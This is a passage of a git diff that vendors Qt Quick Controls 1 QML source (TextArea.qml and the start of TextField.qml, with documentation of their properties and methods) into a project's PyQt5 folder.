LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.6 +import QtQuick.Window 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 +/*! + \qmltype TextArea + \inqmlmodule QtQuick.Controls + \since 5.1 + \ingroup controls + \brief Displays multiple lines of editable formatted text. + + \image textarea.png + + It can display both plain and rich text. For example: + + \qml + TextArea { + width: 240 + text: + "Lorem ipsum dolor sit amet, consectetur adipisicing elit, " + + "sed do eiusmod tempor incididunt ut labore et dolore magna " + + "aliqua. Ut enim ad minim veniam, quis nostrud exercitation " + + "ullamco laboris nisi ut aliquip ex ea commodo cosnsequat. "; + } + \endqml + + Clipboard support is provided by the cut(), copy(), and paste() functions, and the selection can + be handled in a traditional "mouse" mechanism by setting selectByMouse, or handled completely + from QML by manipulating selectionStart and selectionEnd, or using selectAll() or selectWord(). + + You can translate between cursor positions (characters from the start of the document) and pixel + points using positionAt() and positionToRectangle(). + + You can create a custom appearance for a TextArea by + assigning a \l {TextAreaStyle}. + + \sa TextField, TextEdit +*/ + +ScrollView { + id: area + + /*! + \qmlproperty bool TextArea::activeFocusOnPress + + Whether the TextEdit should gain active focus on a mouse press. By default this is + set to true. + */ + property alias activeFocusOnPress: edit.activeFocusOnPress + + /*! + \qmlproperty url TextArea::baseUrl + + This property specifies a base URL which is used to resolve relative URLs + within the text. + + The default value is the url of the QML file instantiating the TextArea item. + */ + property alias baseUrl: edit.baseUrl + + /*! + \qmlproperty bool TextArea::canPaste + + Returns true if the TextArea is writable and the content of the clipboard is + suitable for pasting into the TextArea. + */ + readonly property alias canPaste: edit.canPaste + + /*! + \qmlproperty bool TextArea::canRedo + + Returns true if the TextArea is writable and there are \l {undo}{undone} + operations that can be redone. + */ + readonly property alias canRedo: edit.canRedo + + /*! + \qmlproperty bool TextArea::canUndo + + Returns true if the TextArea is writable and there are previous operations + that can be undone. + */ + readonly property alias canUndo: edit.canUndo + + /*! + \qmlproperty color TextArea::textColor + + The text color. + + \qml + TextArea { textColor: "orange" } + \endqml + */ + property alias textColor: edit.color + + /*! + \qmlproperty int TextArea::cursorPosition + The position of the cursor in the TextArea. + */ + property alias cursorPosition: edit.cursorPosition + + /*! + \qmlproperty rect TextArea::cursorRectangle + \since QtQuick.Controls 1.3 + + The rectangle where the text cursor is rendered within the text area. + */ + readonly property alias cursorRectangle: edit.cursorRectangle + + /*! \qmlproperty font TextArea::font + + The font of the TextArea. + */ + property alias font: edit.font + + /*! + \qmlproperty enumeration TextArea::horizontalAlignment + + Sets the alignment of the text within the TextArea item's width. + + By default, the horizontal text alignment follows the natural alignment of the text, + for example, text that is read from left to right will be aligned to the left. + + The valid values for \c horizontalAlignment are: + \list + \li TextEdit.AlignLeft (Default) + \li TextEdit.AlignRight + \li TextEdit.AlignHCenter + \endlist + + When using the attached property LayoutMirroring::enabled to mirror application + layouts, the horizontal alignment of text will also be mirrored. However, the property + \c horizontalAlignment will remain unchanged. To query the effective horizontal alignment + of TextArea, use the read-only property \c effectiveHorizontalAlignment. + */ + property alias horizontalAlignment: edit.horizontalAlignment + + /*! + \qmlproperty enumeration TextArea::effectiveHorizontalAlignment + + Gets the effective horizontal alignment of the text within the TextArea item's width. + + To set/get the default horizontal alignment of TextArea, use the property \c horizontalAlignment. + + */ + readonly property alias effectiveHorizontalAlignment: edit.effectiveHorizontalAlignment + + /*! + \qmlproperty enumeration TextArea::verticalAlignment + + Sets the alignment of the text within the TextArea item's height. + + The valid values for \c verticalAlignment are: + \list + \li TextEdit.AlignTop + \li TextEdit.AlignBottom + \li TextEdit.AlignVCenter (Default) + \endlist + */ + property alias verticalAlignment: edit.verticalAlignment + + /*! + \qmlproperty bool TextArea::inputMethodComposing + \since QtQuick.Controls 1.3 + + This property holds whether the TextArea has partial text input from an input method. + + While it is composing an input method may rely on mouse or key events from the TextArea + to edit or commit the partial text. This property can be used to determine when to disable + events handlers that may interfere with the correct operation of an input method. + */ + readonly property bool inputMethodComposing: !!edit.inputMethodComposing + + /*! + \qmlproperty enumeration TextArea::inputMethodHints + + Provides hints to the input method about the expected content of the text edit, and how it + should operate. + + The value is a bit-wise combination of flags or Qt.ImhNone if no hints are set. + + The default value is \c Qt.ImhNone. + + Flags that alter behavior are: + + \list + \li Qt.ImhHiddenText - Characters should be hidden, as is typically used when entering passwords. + \li Qt.ImhSensitiveData - Typed text should not be stored by the active input method + in any persistent storage like predictive user dictionary. + \li Qt.ImhNoAutoUppercase - The input method should not try to automatically switch to upper case + when a sentence ends. + \li Qt.ImhPreferNumbers - Numbers are preferred (but not required). + \li Qt.ImhPreferUppercase - Upper case letters are preferred (but not required). + \li Qt.ImhPreferLowercase - Lower case letters are preferred (but not required). + \li Qt.ImhNoPredictiveText - Do not use predictive text (i.e. dictionary lookup) while typing. + + \li Qt.ImhDate - The text editor functions as a date field. + \li Qt.ImhTime - The text editor functions as a time field. + \endlist + + Flags that restrict input (exclusive flags) are: + + \list + \li Qt.ImhDigitsOnly - Only digits are allowed. + \li Qt.ImhFormattedNumbersOnly - Only number input is allowed. This includes decimal point and minus sign. + \li Qt.ImhUppercaseOnly - Only upper case letter input is allowed. + \li Qt.ImhLowercaseOnly - Only lower case letter input is allowed. + \li Qt.ImhDialableCharactersOnly - Only characters suitable for phone dialing are allowed. + \li Qt.ImhEmailCharactersOnly - Only characters suitable for email addresses are allowed. + \li Qt.ImhUrlCharactersOnly - Only characters suitable for URLs are allowed. + \endlist + + Masks: + + \list + \li Qt.ImhExclusiveInputMask - This mask yields nonzero if any of the exclusive flags are used. + \endlist + */ + property alias inputMethodHints: edit.inputMethodHints + + /*! + \qmlproperty int TextArea::length + + Returns the total number of plain text characters in the TextArea item. + + As this number doesn't include any formatting markup, it may not be the same as the + length of the string returned by the \l text property. + + This property can be faster than querying the length the \l text property as it doesn't + require any copying or conversion of the TextArea's internal string data. + */ + readonly property alias length: edit.length + + /*! + \qmlproperty int TextArea::lineCount + + Returns the total number of lines in the TextArea item. + */ + readonly property alias lineCount: edit.lineCount + + /*! + \qmlproperty bool TextArea::readOnly + + Whether the user can interact with the TextArea item. + + The difference from a disabled text field is that it will appear + to be active, and text can be selected and copied. + + If this property is set to \c true, the text cannot be edited by user interaction. + + By default this property is \c false. + */ + property alias readOnly: edit.readOnly + Accessible.readOnly: readOnly + + /*! + \qmlproperty string TextArea::selectedText + + This read-only property provides the text currently selected in the + text edit. + */ + readonly property alias selectedText: edit.selectedText + + /*! + \qmlproperty int TextArea::selectionEnd + + The cursor position after the last character in the current selection. + + This property is read-only. To change the selection, use select(start,end), + selectAll(), or selectWord(). + + \sa selectionStart, cursorPosition, selectedText + */ + readonly property alias selectionEnd: edit.selectionEnd + + /*! + \qmlproperty int TextArea::selectionStart + + The cursor position before the first character in the current selection. + + This property is read-only. To change the selection, use select(start,end), + selectAll(), or selectWord(). + + \sa selectionEnd, cursorPosition, selectedText + */ + readonly property alias selectionStart: edit.selectionStart + + /*! + \qmlproperty bool TextArea::tabChangesFocus + + This property holds whether Tab changes focus, or is accepted as input. + + Defaults to \c false. + */ + property bool tabChangesFocus: false + + /*! + \qmlproperty string TextArea::text + + The text to display. If the text format is AutoText the text edit will + automatically determine whether the text should be treated as + rich text. This determination is made using Qt::mightBeRichText(). + */ + property alias text: edit.text + + /*! + \qmlproperty enumeration TextArea::textFormat + + The way the text property should be displayed. + + \list + \li TextEdit.AutoText + \li TextEdit.PlainText + \li TextEdit.RichText + \endlist + + The default is TextEdit.PlainText. If the text format is TextEdit.AutoText the text edit + will automatically determine whether the text should be treated as + rich text. This determination is made using Qt::mightBeRichText(). + */ + property alias textFormat: edit.textFormat + + /*! + \qmlproperty enumeration TextArea::wrapMode + + Set this property to wrap the text to the TextArea item's width. + + \list + \li TextEdit.NoWrap (default) - no wrapping will be performed. + \li TextEdit.WordWrap - wrapping is done on word boundaries only. + \li TextEdit.WrapAnywhere - wrapping is done at any point on a line, even if it occurs in the middle of a word. + \li TextEdit.Wrap - if possible, wrapping occurs at a word boundary; otherwise it will occur at the appropriate point on the line, even in the middle of a word. + \endlist + */ + property alias wrapMode: edit.wrapMode + + /*! + \qmlproperty bool TextArea::selectByMouse + + This property determines if the user can select the text with the + mouse. + + The default value is \c true. + */ + property bool selectByMouse: true + + /*! + \qmlproperty bool TextArea::selectByKeyboard + + This property determines if the user can select the text with the + keyboard. + + If set to \c true, the user can use the keyboard to select the text + even if the editor is read-only. If set to \c false, the user cannot + use the keyboard to select the text even if the editor is editable. + + The default value is \c true when the editor is editable, + and \c false when read-only. + + \sa readOnly + */ + property alias selectByKeyboard: edit.selectByKeyboard + + /*! + \qmlsignal TextArea::linkActivated(string link) + + This signal is emitted when the user clicks on a link embedded in the text. + The link must be in rich text or HTML format and the + \e link string provides access to the particular link. + + The corresponding handler is \c onLinkActivated. + */ + signal linkActivated(string link) + + /*! + \qmlsignal TextArea::linkHovered(string link) + \since QtQuick.Controls 1.1 + + This signal is emitted when the user hovers a link embedded in the text. + The link must be in rich text or HTML format and the + \e link string provides access to the particular link. + + \sa hoveredLink + + The corresponding handler is \c onLinkHovered. + */ + signal linkHovered(string link) + + /*! + \qmlsignal TextArea::editingFinished() + \since QtQuick.Controls 1.5 + + This signal is emitted when the text area loses focus. + + The corresponding handler is \c onEditingFinished. + */ + signal editingFinished() + + /*! + \qmlproperty string TextArea::hoveredLink + \since QtQuick.Controls 1.1 + + This property contains the link string when user hovers a link + embedded in the text. The link must be in rich text or HTML format + and the link string provides access to the particular link. + */ + readonly property alias hoveredLink: edit.hoveredLink + + /*! + \since QtQuick.Controls 1.3 + + This property contains the edit \l Menu for working + with text selection. Set it to \c null if no menu + is wanted. + + \sa Menu + */ + property Component menu: editMenu.defaultMenu + + /*! + \qmlmethod void TextArea::append(string text) + + Appends a string \a text as a new line to the end of the text area. + */ + function append (string) { + edit.append(string) + __verticalScrollBar.value = __verticalScrollBar.maximumValue + } + + /*! + \qmlmethod void TextArea::copy() + + Copies the currently selected text to the system clipboard. + */ + function copy() { + edit.copy(); + } + + /*! + \qmlmethod void TextArea::cut() + + Moves the currently selected text to the system clipboard. + */ + function cut() { + edit.cut(); + } + + /*! + \qmlmethod void TextArea::deselect() + + Removes active text selection. + */ + function deselect() { + edit.deselect(); + } + + /*! + \qmlmethod string TextArea::getFormattedText(int start, int end) + + Returns the section of text that is between the \a start and \a end positions. + + The returned text will be formatted according to the \l textFormat property. + */ + function getFormattedText(start, end) { + return edit.getFormattedText(start, end); + } + + /*! + \qmlmethod string TextArea::getText(int start, int end) + + Returns the section of text that is between the \a start and \a end positions. + + The returned text does not include any rich text formatting. + */ + function getText(start, end) { + return edit.getText(start, end); + } + + /*! + \qmlmethod void TextArea::insert(int position, string text) + + Inserts \a text into the TextArea at \a position. + */ + function insert(position, text) { + edit.insert(position, text); + } + + /*! + \qmlmethod bool TextArea::isRightToLeft(int start, int end) + + Returns true if the natural reading direction of the editor text + found between positions \a start and \a end is right to left. + */ + function isRightToLeft(start, end) { + return edit.isRightToLeft(start, end); + } + + /*! + \qmlmethod void TextArea::moveCursorSelection(int position, SelectionMode mode = TextEdit.SelectCharacters) + + Moves the cursor to \a position and updates the selection according to the optional \a mode + parameter. (To only move the cursor, set the \l cursorPosition property.) + + When this method is called it additionally sets either the + selectionStart or the selectionEnd (whichever was at the previous cursor position) + to the specified position. This allows you to easily extend and contract the selected + text range. + + The selection mode specifies whether the selection is updated on a per character or a per word + basis. If not specified the selection mode will default to TextEdit.SelectCharacters. + + \list + \li TextEdit.SelectCharacters - Sets either the selectionStart or selectionEnd (whichever was at + the previous cursor position) to the specified position. + \li TextEdit.SelectWords - Sets the selectionStart and selectionEnd to include all + words between the specified position and the previous cursor position. Words partially in the + range are included. + \endlist + + For example, take this sequence of calls: + + \code + cursorPosition = 5 + moveCursorSelection(9, TextEdit.SelectCharacters) + moveCursorSelection(7, TextEdit.SelectCharacters) + \endcode + + This moves the cursor to the 5th position, extends the selection end from 5 to 9, + and then retracts the selection end from 9 to 7, leaving the text from the 5th + position to the 7th position selected (the 6th and 7th characters). + + The same sequence with TextEdit.SelectWords will extend the selection start to a word boundary + before or on the 5th position, and extend the selection end to a word boundary on or past the 9th position. + */ + function moveCursorSelection(position, mode) { + edit.moveCursorSelection(position, mode); + } + + /*! + \qmlmethod void TextArea::paste() + + Replaces the currently selected text by the contents of the system clipboard. + */ + function paste() { + edit.paste(); + } + + /*! + \qmlmethod int TextArea::positionAt(int x, int y) + + Returns the text position closest to pixel position (\a x, \a y). + + Position 0 is before the first character, position 1 is after the first character + but before the second, and so on until position \l {text}.length, which is after all characters. + */ + function positionAt(x, y) { + return edit.positionAt(x, y); + } + + /*! + \qmlmethod rectangle TextArea::positionToRectangle(position) + + Returns the rectangle at the given \a position in the text. The x, y, + and height properties correspond to the cursor that would describe + that position. + */ + function positionToRectangle(position) { + return edit.positionToRectangle(position); + } + + /*! + \qmlmethod void TextArea::redo() + + Redoes the last operation if redo is \l {canRedo}{available}. + */ + function redo() { + edit.redo(); + } + + /*! + \qmlmethod string TextArea::remove(int start, int end) + + Removes the section of text that is between the \a start and \a end positions from the TextArea. + */ + function remove(start, end) { + return edit.remove(start, end); + } + + /*! + \qmlmethod void TextArea::select(int start, int end) + + Causes the text from \a start to \a end to be selected. + + If either start or end is out of range, the selection is not changed. + + After calling this, selectionStart will become the lesser + and selectionEnd will become the greater (regardless of the order passed + to this method). + + \sa selectionStart, selectionEnd + */ + function select(start, end) { + edit.select(start, end); + } + + /*! + \qmlmethod void TextArea::selectAll() + + Causes all text to be selected. + */ + function selectAll() { + edit.selectAll(); + } + + /*! + \qmlmethod void TextArea::selectWord() + + Causes the word closest to the current cursor position to be selected. + */ + function selectWord() { + edit.selectWord(); + } + + /*! + \qmlmethod void TextArea::undo() + + Undoes the last operation if undo is \l {canUndo}{available}. Deselects any + current selection, and updates the selection start to the current cursor + position. + */ + function undo() { + edit.undo(); + } + + /*! \qmlproperty bool TextArea::backgroundVisible + + This property determines if the background should be filled or not. + + The default value is \c true. + */ + property alias backgroundVisible: colorRect.visible + + /*! \internal */ + default property alias data: area.data + + /*! \qmlproperty real TextArea::textMargin + \since QtQuick.Controls 1.1 + + The margin, in pixels, around the text in the TextArea. + */ + property alias textMargin: edit.textMargin + + /*! \qmlproperty real TextArea::contentWidth + \since QtQuick.Controls 1.3 + + The width of the text content. + */ + readonly property alias contentWidth: edit.contentWidth + + /*! \qmlproperty real TextArea::contentHeight + \since QtQuick.Controls 1.3 + + The height of the text content. + */ + readonly property alias contentHeight: edit.contentHeight + + frameVisible: true + + activeFocusOnTab: true + + Accessible.role: Accessible.EditableText + + style: Settings.styleComponent(Settings.style, "TextAreaStyle.qml", area) + + /*! + \qmlproperty TextDocument TextArea::textDocument + + This property exposes the \l QQuickTextDocument of this TextArea. + \sa TextEdit::textDocument + */ + property alias textDocument: edit.textDocument + + Flickable { + id: flickable + + interactive: !edit.selectByMouse + anchors.fill: parent + + TextEdit { + id: edit + focus: true + cursorDelegate: __style && __style.__cursorDelegate ? __style.__cursorDelegate : null + persistentSelection: true + + Rectangle { + id: colorRect + parent: viewport + anchors.fill: parent + color: __style ? __style.backgroundColor : "white" + z: -1 + } + + property int layoutRecursionDepth: 0 + + function doLayout() { + // scrollbars affect the document/viewport size and vice versa, so we + // must allow the layout loop to recurse twice until the sizes stabilize + if (layoutRecursionDepth <= 2) { + layoutRecursionDepth++ + + if (wrapMode == TextEdit.NoWrap) { + __horizontalScrollBar.visible = edit.contentWidth > viewport.width + edit.width = Math.max(viewport.width, edit.contentWidth) + } else { + __horizontalScrollBar.visible = false + edit.width = viewport.width + } + edit.height = Math.max(viewport.height, edit.contentHeight) + + flickable.contentWidth = edit.contentWidth + flickable.contentHeight = edit.contentHeight + + layoutRecursionDepth-- + } + } + + Connections { + target: area.viewport + function onWidthChanged() { edit.doLayout() } + function onHeightChanged() { edit.doLayout() } + } + onContentWidthChanged: edit.doLayout() + onContentHeightChanged: edit.doLayout() + onWrapModeChanged: edit.doLayout() + + renderType: __style ? __style.renderType : Text.NativeRendering + font: __style ? __style.font : TextSingleton.font + color: __style ? __style.textColor : "darkgray" + selectionColor: __style ? __style.selectionColor : "darkred" + selectedTextColor: __style ? __style.selectedTextColor : "white" + wrapMode: TextEdit.WordWrap + textMargin: __style && __style.textMargin !== undefined ? __style.textMargin : 4 + + selectByMouse: area.selectByMouse && Qt.platform.os != "ios" && (!Settings.isMobile || !cursorHandle.delegate || !selectionHandle.delegate) + readOnly: false + + Keys.forwardTo: area + + KeyNavigation.priority: KeyNavigation.BeforeItem + KeyNavigation.tab: area.tabChangesFocus ? area.KeyNavigation.tab : null + KeyNavigation.backtab: area.tabChangesFocus ? area.KeyNavigation.backtab : null + + property bool blockRecursion: false + property bool hasSelection: selectionStart !== selectionEnd + readonly property int selectionPosition: selectionStart !== cursorPosition ? selectionStart : selectionEnd + + // force re-evaluation when contentWidth changes => text layout changes => selection moves + property rect selectionRectangle: contentWidth ? positionToRectangle(selectionPosition) + : positionToRectangle(selectionPosition) + + onSelectionStartChanged: syncHandlesWithSelection() + onCursorPositionChanged: syncHandlesWithSelection() + + function syncHandlesWithSelection() + { + if (!blockRecursion && selectionHandle.delegate) { + blockRecursion = true + // We cannot use property selectionPosition since it gets updated after onSelectionStartChanged + cursorHandle.position = cursorPosition + selectionHandle.position = (selectionStart !== cursorPosition) ? selectionStart : selectionEnd + blockRecursion = false + } + ensureVisible(cursorRectangle) + } + + function ensureVisible(rect) { + if (rect.y >= flickableItem.contentY + viewport.height - rect.height - textMargin) { + // moving down + flickableItem.contentY = rect.y - viewport.height + rect.height + textMargin + } else if (rect.y < flickableItem.contentY) { + // moving up + flickableItem.contentY = rect.y - textMargin + } + + if (rect.x >= flickableItem.contentX + viewport.width - textMargin) { + // moving right + flickableItem.contentX = rect.x - viewport.width + textMargin + } else if (rect.x < flickableItem.contentX) { + // moving left + flickableItem.contentX = rect.x - textMargin + } + } + + onLinkActivated: area.linkActivated(link) + onLinkHovered: area.linkHovered(link) + onEditingFinished: area.editingFinished() + + function activate() { + if (activeFocusOnPress) { + forceActiveFocus() + if (!readOnly) + Qt.inputMethod.show() + } + cursorHandle.activate() + selectionHandle.activate() + } + + function moveHandles(cursor, selection) { + blockRecursion = true + cursorPosition = cursor + if (selection === -1) { + selectWord() + selection = selectionStart + } + selectionHandle.position = selection + cursorHandle.position = cursorPosition + blockRecursion = false + } + + MouseArea { + id: mouseArea + anchors.fill: parent + cursorShape: edit.hoveredLink ? Qt.PointingHandCursor : Qt.IBeamCursor + acceptedButtons: (edit.selectByMouse ? Qt.NoButton : Qt.LeftButton) | (area.menu ? Qt.RightButton : Qt.NoButton) + onClicked: { + if (editMenu.item) + return; + var pos = edit.positionAt(mouse.x, mouse.y) + edit.moveHandles(pos, pos) + edit.activate() + } + onPressAndHold: { + if (editMenu.item) + return; + var pos = edit.positionAt(mouse.x, mouse.y) + edit.moveHandles(pos, area.selectByMouse ? -1 : pos) + edit.activate() + } + } + + EditMenu { + id: editMenu + control: area + input: edit + mouseArea: mouseArea + cursorHandle: cursorHandle + selectionHandle: selectionHandle + flickable: flickable + anchors.fill: parent + } + + ScenePosListener { + id: listener + item: edit + enabled: edit.activeFocus && Qt.platform.os !== "ios" && Settings.isMobile + } + + TextHandle { + id: selectionHandle + + editor: edit + control: area + z: 1000001 // DefaultWindowDecoration+1 + parent: !edit.activeFocus || Qt.platform.os === "ios" ? editor : Window.contentItem // float (QTBUG-42538) + active: area.selectByMouse && Settings.isMobile + delegate: __style.__selectionHandle + maximum: cursorHandle.position - 1 + + // Mention scenePos, contentX and contentY in the mappedPos binding to force re-evaluation if they change + property var mappedPos: listener.scenePos.x !== listener.scenePos.y !== flickableItem.contentX !== flickableItem.contentY !== Number.MAX_VALUE ? + editor.mapToItem(parent, editor.selectionRectangle.x, editor.selectionRectangle.y) : -1 + x: mappedPos.x + y: mappedPos.y + + property var posInViewport: flickableItem.contentX !== flickableItem.contentY !== Number.MAX_VALUE ? + viewport.mapFromItem(parent, handleX, handleY) : -1 + visible: pressed || (edit.hasSelection + && posInViewport.y + handleHeight >= -1 + && posInViewport.y <= viewport.height + 1 + && posInViewport.x + handleWidth >= -1 + && posInViewport.x <= viewport.width + 1) + + onPositionChanged: { + if (!edit.blockRecursion) { + edit.blockRecursion = true + edit.select(selectionHandle.position, cursorHandle.position) + if (pressed) + edit.ensureVisible(edit.selectionRectangle) + edit.blockRecursion = false + } + } + } + + TextHandle { + id: cursorHandle + + editor: edit + control: area + z: 1000001 // DefaultWindowDecoration+1 + parent: !edit.activeFocus || Qt.platform.os === "ios" ? editor : Window.contentItem // float (QTBUG-42538) + active: area.selectByMouse && Settings.isMobile + delegate: __style.__cursorHandle + minimum: edit.hasSelection ? selectionHandle.position + 1 : -1 + + // Mention scenePos, contentX and contentY in the mappedPos binding to force re-evaluation if they change + property var mappedPos: listener.scenePos.x !== listener.scenePos.y !== flickableItem.contentX !== flickableItem.contentY !== Number.MAX_VALUE ? + editor.mapToItem(parent, editor.cursorRectangle.x, editor.cursorRectangle.y) : -1 + x: mappedPos.x + y: mappedPos.y + + property var posInViewport: flickableItem.contentX !== flickableItem.contentY !== Number.MAX_VALUE ? + viewport.mapFromItem(parent, handleX, handleY) : -1 + visible: pressed || ((edit.cursorVisible || edit.hasSelection) + && posInViewport.y + handleHeight >= -1 + && posInViewport.y <= viewport.height + 1 + && posInViewport.x + handleWidth >= -1 + && posInViewport.x <= viewport.width + 1) + + onPositionChanged: { + if (!edit.blockRecursion) { + edit.blockRecursion = true + if (!edit.hasSelection) + selectionHandle.position = cursorHandle.position + edit.select(selectionHandle.position, cursorHandle.position) + edit.blockRecursion = false + } + } + } + } + } + + Keys.onPressed: { + if (event.key == Qt.Key_PageUp) { + __verticalScrollBar.value -= area.height + } else if (event.key == Qt.Key_PageDown) + __verticalScrollBar.value += area.height + } + +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TextArea.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TextArea.qmlc new file mode 100644 index 00000000..75903e28 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TextArea.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TextField.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TextField.qml new file mode 100644 index 00000000..d0d1d5cc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/TextField.qml @@ -0,0 +1,672 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.6 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype TextField + \inqmlmodule QtQuick.Controls + \since 5.1 + \ingroup controls + \brief Displays a single line of editable plain text. + + \image textfield.png + + TextField is used to accept a line of text input. Input constraints can be + placed on a TextField item (for example, through a \l validator or \l + inputMask). Setting \l echoMode to an appropriate value enables + TextField to be used for a password input field. + + \qml + TextField { + placeholderText: qsTr("Enter name") + } + \endqml + + You can create a custom appearance for a TextField by + assigning a \l {TextFieldStyle}. + + \sa TextArea, TextInput +*/ + +Control { + id: textfield + + /*! + \qmlproperty bool TextField::acceptableInput + + Returns \c true if the text field contains acceptable + text. + + If a validator or input mask was set, this property will return \c + true if the current text satisfies the validator or mask as + a final string (not as an intermediate string). + + The default value is \c true. + + \sa validator, inputMask, accepted + + */ + readonly property alias acceptableInput: textInput.acceptableInput // read only + + /*! + \qmlproperty bool TextField::activeFocusOnPress + + This property is set to \c true if the TextField should gain active + focus on a mouse press. + + The default value is \c true. + */ + property alias activeFocusOnPress: textInput.activeFocusOnPress + + /*! + \qmlproperty bool TextField::canPaste + + Returns \c true if the TextField is writable and the content of the + clipboard is suitable for pasting into the TextField. + */ + readonly property alias canPaste: textInput.canPaste + + /*! + \qmlproperty bool TextField::canRedo + + Returns \c true if the TextField is writable and there are \l + {undo}{undone} operations that can be redone. + */ + readonly property alias canRedo: textInput.canRedo + + /*! + \qmlproperty bool TextField::canUndo + + Returns \c true if the TextField is writable and there are previous + operations that can be undone. + */ + readonly property alias canUndo: textInput.canUndo + + /*! + \qmlproperty color TextField::textColor + + This property holds the text color. + */ + property alias textColor: textInput.color + + /*! + \qmlproperty int TextField::cursorPosition + + This property holds the position of the cursor in the TextField. + */ + property alias cursorPosition: textInput.cursorPosition + + /*! + \qmlproperty rect TextField::cursorRectangle + \since QtQuick.Controls 1.3 + + The rectangle where the text cursor is rendered within the text field. + */ + readonly property alias cursorRectangle: textInput.cursorRectangle + + /*! + \qmlproperty string TextField::displayText + + This property holds the text displayed in the TextField. + + If \l echoMode is set to TextInput::Normal, this holds the + same value as the TextField::text property. Otherwise, + this property holds the text visible to the user, while + the \l text property holds the actual entered text. + */ + readonly property alias displayText: textInput.displayText + + /*! + \qmlproperty enumeration TextField::echoMode + + Specifies how the text should be displayed in the + TextField. + + The possible modes are: + \list + \li TextInput.Normal - Displays the text as it is. (Default) + \li TextInput.Password - Displays asterisks instead of characters. + \li TextInput.NoEcho - Displays nothing. + \li TextInput.PasswordEchoOnEdit - Displays characters as they are + entered while editing, otherwise displays asterisks. + \endlist + */ + property alias echoMode: textInput.echoMode + Accessible.passwordEdit: echoMode == TextInput.Password || echoMode === TextInput.PasswordEchoOnEdit + + /*! + \qmlproperty font TextField::font + + Sets the font of the TextField. + */ + property alias font: textInput.font + + /*! + \qmlproperty enumeration TextField::horizontalAlignment + + Sets the alignment of the text within the TextField item's width. + + By default, the horizontal text alignment follows the natural alignment + of the text, for example text that is read from left to right will be + aligned to the left. + + The possible alignment values are: + \list + \li TextInput.AlignLeft + \li TextInput.AlignRight + \li TextInput.AlignHCenter + \endlist + + When using the attached property, LayoutMirroring::enabled, to mirror + application layouts, the horizontal alignment of text will also be + mirrored. However, the property \c horizontalAlignment will remain + unchanged. To query the effective horizontal alignment of TextField, use + the read-only property \c effectiveHorizontalAlignment. + */ + property alias horizontalAlignment: textInput.horizontalAlignment + + /*! + \qmlproperty enumeration TextField::effectiveHorizontalAlignment + + Gets the effective horizontal alignment of the text within the TextField + item's width. + + \l horizontalAlignment contains the default horizontal alignment. + + \sa horizontalAlignment + + */ + readonly property alias effectiveHorizontalAlignment: textInput.effectiveHorizontalAlignment + + /*! + \qmlproperty enumeration TextField::verticalAlignment + + Sets the alignment of the text within the TextField item's height. + + The possible alignment values are: + \list + \li TextInput.AlignTop + \li TextInput.AlignBottom + \li TextInput.AlignVCenter (default). + \endlist + */ + property alias verticalAlignment: textInput.verticalAlignment + + /*! + \qmlproperty string TextField::inputMask + + Sets an input mask on the TextField, restricting the allowable text + inputs. See QLineEdit::inputMask for further details, as the exact same + mask strings are used by TextField. + + \sa acceptableInput, validator + */ + property alias inputMask: textInput.inputMask + + /*! + \qmlproperty bool TextField::inputMethodComposing + \since QtQuick.Controls 1.3 + + This property holds whether the TextField has partial text input from an input method. + + While it is composing an input method may rely on mouse or key events from the TextField + to edit or commit the partial text. This property can be used to determine when to disable + events handlers that may interfere with the correct operation of an input method. + */ + readonly property bool inputMethodComposing: !!textInput.inputMethodComposing + + /*! + \qmlproperty enumeration TextField::inputMethodHints + + Provides hints to the input method about the expected content of the + text field and how it should operate. + + The value is a bit-wise combination of flags, or \c Qt.ImhNone if no + hints are set. + + The default value is \c Qt.ImhNone. + + Flags that alter behavior are: + + \list + \li Qt.ImhHiddenText - Characters should be hidden, as is typically used when entering passwords. + This is automatically set when setting echoMode to \c TextInput.Password. + \li Qt.ImhSensitiveData - Typed text should not be stored by the active input method + in any persistent storage like predictive user dictionary. + \li Qt.ImhNoAutoUppercase - The input method should not try to 